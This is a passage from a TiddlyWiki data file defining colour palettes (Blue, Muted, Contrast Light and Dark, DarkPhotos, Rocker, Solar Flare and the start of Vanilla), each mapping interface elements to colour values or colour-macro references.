#ccc\nsidebar-foreground-shadow: rgba(255,255,255, 0.8)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: #ffffff\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #7897f3\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #eeeeee\ntab-border-selected: #cccccc\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #ffeedd\ntag-foreground: #000\ntiddler-background: <<colour background>>\ntiddler-border: #eee\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #ff9900\ntoolbar-new-button:\ntoolbar-options-button:\ntoolbar-save-button:\ntoolbar-info-button:\ntoolbar-edit-button:\ntoolbar-close-button:\ntoolbar-delete-button:\ntoolbar-cancel-button:\ntoolbar-done-button:\nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
        },
        "$:/palettes/Blue": {
            "title": "$:/palettes/Blue",
            "name": "Blue",
            "description": "A blue theme",
            "tags": "$:/tags/Palette",
            "type": "application/x-tiddler-dictionary",
            "text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #fff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour foreground>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333353\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #999999\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #ddddff\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #5778d8\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #ffffff\nsidebar-foreground-shadow: rgba(255,255,255, 0.8)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: <<colour page-background>>\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #5959c0\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: <<colour background>>\ntab-background: #ccccdd\ntab-border-selected: #ccccdd\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #eeeeff\ntag-foreground: #000\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #666666\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #ffffff\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #ffffff\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #5959c0\ntoolbar-new-button: #5eb95e\ntoolbar-options-button: rgb(128, 88, 165)\ntoolbar-save-button: #0e90d2\ntoolbar-info-button: #0e90d2\ntoolbar-edit-button: rgb(243, 123, 29)\ntoolbar-close-button: #dd514c\ntoolbar-delete-button: #dd514c\ntoolbar-cancel-button: rgb(243, 123, 29)\ntoolbar-done-button: #5eb95e\nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
        },
        "$:/palettes/Muted": {
            "title": "$:/palettes/Muted",
            "name": "Muted",
            "description": "Bright tiddlers on a muted background",
            "tags": "$:/tags/Palette",
            "type": "application/x-tiddler-dictionary",
            "text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #bbb\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #6f6f70\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #29a6ee\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #c2c1c2\nsidebar-foreground-shadow: rgba(255,255,255,0)\nsidebar-foreground: #d3d2d4\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: #6f6f70\nsidebar-tab-background: #666667\nsidebar-tab-border-selected: #999\nsidebar-tab-border: #515151\nsidebar-tab-divider: #999\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: #999\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #d1d0d2\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #d8d8d8\ntab-border-selected: #d8d8d8\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #d5ad34\ntag-foreground: #ffffff\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #182955\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
        },
        "$:/palettes/ContrastLight": {
            "title": "$:/palettes/ContrastLight",
            "name": "Contrast (Light)",
            "description": "High contrast and unambiguous (light version)",
            "tags": "$:/tags/Palette",
            "type": "application/x-tiddler-dictionary",
            "text": "alert-background: #f00\nalert-border: <<colour background>>\nalert-highlight: <<colour foreground>>\nalert-muted-foreground: #800\nbackground: #fff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background: <<colour background>>\nbutton-foreground: <<colour foreground>>\nbutton-border: <<colour foreground>>\ncode-background: <<colour background>>\ncode-border: <<colour foreground>>\ncode-foreground: <<colour foreground>>\ndirty-indicator: #f00\ndownload-background: #080\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: <<colour foreground>>\ndropdown-tab-background: <<colour foreground>>\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #00a\nexternal-link-foreground: #00e\nforeground: #000\nmessage-background: <<colour foreground>>\nmessage-border: <<colour background>>\nmessage-foreground: <<colour background>>\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: <<colour foreground>>\nmodal-footer-background: <<colour background>>\nmodal-footer-border: <<colour foreground>>\nmodal-header-border: <<colour foreground>>\nmuted-foreground: <<colour foreground>>\nnotification-background: <<colour background>>\nnotification-border: <<colour foreground>>\npage-background: <<colour background>>\npre-background: <<colour background>>\npre-border: <<colour foreground>>\nprimary: #00f\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: <<colour background>>\nsidebar-controls-foreground: <<colour foreground>>\nsidebar-foreground-shadow: rgba(0,0,0, 0)\nsidebar-foreground: <<colour foreground>>\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: <<colour foreground>>\nsidebar-tab-background-selected: <<colour background>>\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: <<colour foreground>>\nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: <<colour foreground>>\nsidebar-tiddler-link-foreground: <<colour primary>>\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: <<colour background>>\ntab-background: <<colour foreground>>\ntab-border-selected: <<colour foreground>>\ntab-border: <<colour foreground>>\ntab-divider: <<colour foreground>>\ntab-foreground-selected: <<colour foreground>>\ntab-foreground: <<colour background>>\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #000\ntag-foreground: #fff\ntiddler-background: <<colour background>>\ntiddler-border: <<colour foreground>>\ntiddler-controls-foreground-hover: #ddd\ntiddler-controls-foreground-selected: #fdd\ntiddler-controls-foreground: <<colour foreground>>\ntiddler-editor-background: <<colour background>>\ntiddler-editor-border-image: <<colour foreground>>\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: <<colour background>>\ntiddler-editor-fields-odd: <<colour background>>\ntiddler-info-background: <<colour background>>\ntiddler-info-border: <<colour foreground>>\ntiddler-info-tab-background: <<colour background>>\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: <<colour foreground>>\ntiddler-title-foreground: <<colour foreground>>\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: <<colour foreground>>\nvery-muted-foreground: #888888\n"
        },
        "$:/palettes/ContrastDark": {
            "title": "$:/palettes/ContrastDark",
            "name": "Contrast (Dark)",
            "description": "High contrast and unambiguous (dark version)",
            "tags": "$:/tags/Palette",
            "type": "application/x-tiddler-dictionary",
            "text": "alert-background: #f00\nalert-border: <<colour background>>\nalert-highlight: <<colour foreground>>\nalert-muted-foreground: #800\nbackground: #000\nblockquote-bar: <<colour muted-foreground>>\nbutton-background: <<colour background>>\nbutton-foreground: <<colour foreground>>\nbutton-border: <<colour foreground>>\ncode-background: <<colour background>>\ncode-border: <<colour foreground>>\ncode-foreground: <<colour foreground>>\ndirty-indicator: #f00\ndownload-background: #080\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: <<colour foreground>>\ndropdown-tab-background: <<colour foreground>>\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #00a\nexternal-link-foreground: #00e\nforeground: #fff\nmessage-background: <<colour foreground>>\nmessage-border: <<colour background>>\nmessage-foreground: <<colour background>>\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: <<colour foreground>>\nmodal-footer-background: <<colour background>>\nmodal-footer-border: <<colour foreground>>\nmodal-header-border: <<colour foreground>>\nmuted-foreground: <<colour foreground>>\nnotification-background: <<colour background>>\nnotification-border: <<colour foreground>>\npage-background: <<colour background>>\npre-background: <<colour background>>\npre-border: <<colour foreground>>\nprimary: #00f\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: <<colour background>>\nsidebar-controls-foreground: <<colour foreground>>\nsidebar-foreground-shadow: rgba(0,0,0, 0)\nsidebar-foreground: <<colour foreground>>\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: <<colour foreground>>\nsidebar-tab-background-selected: <<colour background>>\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: <<colour foreground>>\nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: <<colour foreground>>\nsidebar-tiddler-link-foreground: <<colour primary>>\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: <<colour background>>\ntab-background: <<colour foreground>>\ntab-border-selected: <<colour foreground>>\ntab-border: <<colour foreground>>\ntab-divider: <<colour foreground>>\ntab-foreground-selected: <<colour foreground>>\ntab-foreground: <<colour background>>\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #fff\ntag-foreground: #000\ntiddler-background: <<colour background>>\ntiddler-border: <<colour foreground>>\ntiddler-controls-foreground-hover: #ddd\ntiddler-controls-foreground-selected: #fdd\ntiddler-controls-foreground: <<colour foreground>>\ntiddler-editor-background: <<colour background>>\ntiddler-editor-border-image: <<colour foreground>>\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: <<colour background>>\ntiddler-editor-fields-odd: <<colour background>>\ntiddler-info-background: <<colour background>>\ntiddler-info-border: <<colour foreground>>\ntiddler-info-tab-background: <<colour background>>\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: <<colour foreground>>\ntiddler-title-foreground: <<colour foreground>>\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: <<colour foreground>>\nvery-muted-foreground: #888888\n"
        },
        "$:/palettes/DarkPhotos": {
            "title": "$:/palettes/DarkPhotos",
            "created": "20150402111612188",
            "description": "Good with dark photo backgrounds",
            "modified": "20150402112344080",
            "name": "DarkPhotos",
            "tags": "$:/tags/Palette",
            "type": "application/x-tiddler-dictionary",
            "text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background: \nbutton-foreground: \nbutton-border: \ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #ddd\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #336438\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #5778d8\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #ccf\nsidebar-controls-foreground: #fff\nsidebar-foreground-shadow: rgba(0,0,0, 0.5)\nsidebar-foreground: #fff\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #eee\nsidebar-tab-background-selected: rgba(255,255,255, 0.8)\nsidebar-tab-background: rgba(255,255,255, 0.4)\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: rgba(255,255,255, 0.2)\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #aaf\nsidebar-tiddler-link-foreground: #ddf\nsite-title-foreground: #fff\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #d8d8d8\ntab-border-selected: #d8d8d8\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #ec6\ntag-foreground: #ffffff\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #182955\ntoolbar-new-button: \ntoolbar-options-button: \ntoolbar-save-button: \ntoolbar-info-button: \ntoolbar-edit-button: \ntoolbar-close-button: \ntoolbar-delete-button: \ntoolbar-cancel-button: \ntoolbar-done-button: \nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
        },
        "$:/palettes/Rocker": {
            "title": "$:/palettes/Rocker",
            "name": "Rocker",
            "description": "A dark theme",
            "tags": "$:/tags/Palette",
            "type": "application/x-tiddler-dictionary",
            "text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #999999\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #000\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #cc0000\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #ffffff\nsidebar-foreground-shadow: rgba(255,255,255, 0.0)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: #000\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #ffbb99\nsidebar-tiddler-link-foreground: #cc0000\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #d8d8d8\ntab-border-selected: #d8d8d8\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #ffbb99\ntag-foreground: #000\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #cc0000\ntoolbar-new-button:\ntoolbar-options-button:\ntoolbar-save-button:\ntoolbar-info-button:\ntoolbar-edit-button:\ntoolbar-close-button:\ntoolbar-delete-button:\ntoolbar-cancel-button:\ntoolbar-done-button:\nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
        },
        "$:/palettes/SolarFlare": {
            "title": "$:/palettes/SolarFlare",
            "name": "Solar Flare",
            "description": "Warm, relaxing earth colours",
            "tags": "$:/tags/Palette",
            "type": "application/x-tiddler-dictionary",
            "text": ": Background Tones\n\nbase03: #002b36\nbase02: #073642\n\n: Content Tones\n\nbase01: #586e75\nbase00: #657b83\nbase0: #839496\nbase1: #93a1a1\n\n: Background Tones\n\nbase2: #eee8d5\nbase3: #fdf6e3\n\n: Accent Colors\n\nyellow: #b58900\norange: #cb4b16\nred: #dc322f\nmagenta: #d33682\nviolet: #6c71c4\nblue: #268bd2\ncyan: #2aa198\ngreen: #859900\n\n: Additional Tones (RA)\n\nbase10: #c0c4bb\nviolet-muted: #7c81b0\nblue-muted: #4e7baa\n\nyellow-hot: #ffcc44\norange-hot: #eb6d20\nred-hot: #ff2222\nblue-hot: #2298ee\ngreen-hot: #98ee22\n\n: Palette\n\n: Do not use colour macro for background and foreground\nbackground: #fdf6e3\n    download-foreground: <<colour background>>\n    dragger-foreground: <<colour background>>\n    dropdown-background: <<colour background>>\n    modal-background: <<colour background>>\n    sidebar-foreground-shadow: <<colour background>>\n    tiddler-background: <<colour background>>\n    tiddler-border: <<colour background>>\n    tiddler-link-background: <<colour background>>\n    tab-background-selected: <<colour background>>\n        dropdown-tab-background-selected: <<colour tab-background-selected>>\nforeground: #657b83\n    dragger-background: <<colour foreground>>\n    tab-foreground: <<colour foreground>>\n        tab-foreground-selected: <<colour tab-foreground>>\n            sidebar-tab-foreground-selected: <<colour tab-foreground-selected>>\n        sidebar-tab-foreground: <<colour tab-foreground>>\n    sidebar-button-foreground: <<colour foreground>>\n    sidebar-controls-foreground: <<colour foreground>>\n    sidebar-foreground: <<colour foreground>>\n: base03\n: base02\n: base01\n    alert-muted-foreground: <<colour base01>>\n: base00\n    code-foreground: <<colour base00>>\n    message-foreground: <<colour base00>>\n    tag-foreground: <<colour base00>>\n: base0\n    sidebar-tiddler-link-foreground: <<colour base0>>\n: base1\n    muted-foreground: <<colour base1>>\n        blockquote-bar: <<colour muted-foreground>>\n        dropdown-border: <<colour muted-foreground>>\n        sidebar-muted-foreground: <<colour muted-foreground>>\n        tiddler-title-foreground: <<colour muted-foreground>>\n            site-title-foreground: <<colour tiddler-title-foreground>>\n: base2\n    modal-footer-background: <<colour base2>>\n    page-background: <<colour base2>>\n        modal-backdrop: <<colour page-background>>\n        notification-background: <<colour page-background>>\n        code-background: <<colour page-background>>\n            code-border: <<colour code-background>>\n        pre-background: <<colour page-background>>\n            pre-border: <<colour pre-background>>\n        sidebar-tab-background-selected: <<colour page-background>>\n    table-header-background: <<colour base2>>\n    tag-background: <<colour base2>>\n    tiddler-editor-background: <<colour base2>>\n    tiddler-info-background: <<colour base2>>\n    tiddler-info-tab-background: <<colour base2>>\n    tab-background: <<colour base2>>\n        dropdown-tab-background: <<colour tab-background>>\n: base3\n    alert-background: <<colour base3>>\n    message-background: <<colour base3>>\n: yellow\n: orange\n: red\n: magenta\n    alert-highlight: <<colour magenta>>\n: violet\n    external-link-foreground: <<colour violet>>\n: blue\n: cyan\n: green\n: base10\n    tiddler-controls-foreground: <<colour base10>>\n: violet-muted\n    external-link-foreground-visited: <<colour violet-muted>>\n: blue-muted\n    primary: <<colour blue-muted>>\n        download-background: <<colour primary>>\n        tiddler-link-foreground: <<colour primary>>\n\nalert-border: #b99e2f\ndirty-indicator: #ff0000\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nmessage-border: #cfd6e6\nmodal-border: #999999\nselect-tag-background:\nselect-tag-foreground:\nsidebar-controls-foreground-hover:\nsidebar-muted-foreground-hover:\nsidebar-tab-background: #ded8c5\nsidebar-tiddler-link-foreground-hover:\nstatic-alert-foreground: #aaaaaa\ntab-border: #cccccc\n    modal-footer-border: <<colour tab-border>>\n    modal-header-border: <<colour tab-border>>\n    notification-border: <<colour tab-border>>\n    sidebar-tab-border: <<colour tab-border>>\n    tab-border-selected: <<colour tab-border>>\n        sidebar-tab-border-selected: <<colour tab-border-selected>>\ntab-divider: #d8d8d8\n    sidebar-tab-divider: <<colour tab-divider>>\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-border: #dddddd\ntiddler-subtitle-foreground: #c0c0c0\ntoolbar-new-button:\ntoolbar-options-button:\ntoolbar-save-button:\ntoolbar-info-button:\ntoolbar-edit-button:\ntoolbar-close-button:\ntoolbar-delete-button:\ntoolbar-cancel-button:\ntoolbar-done-button:\nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
        },
        "$:/palettes/Vanilla": {
            "title": "$:/palettes/Vanilla",
            "name": "Vanilla",
            "description": "Pale and unobtrusive",
            "tags": "$:/tags/Palette",
            "type": "application/x-tiddler-dictionary",
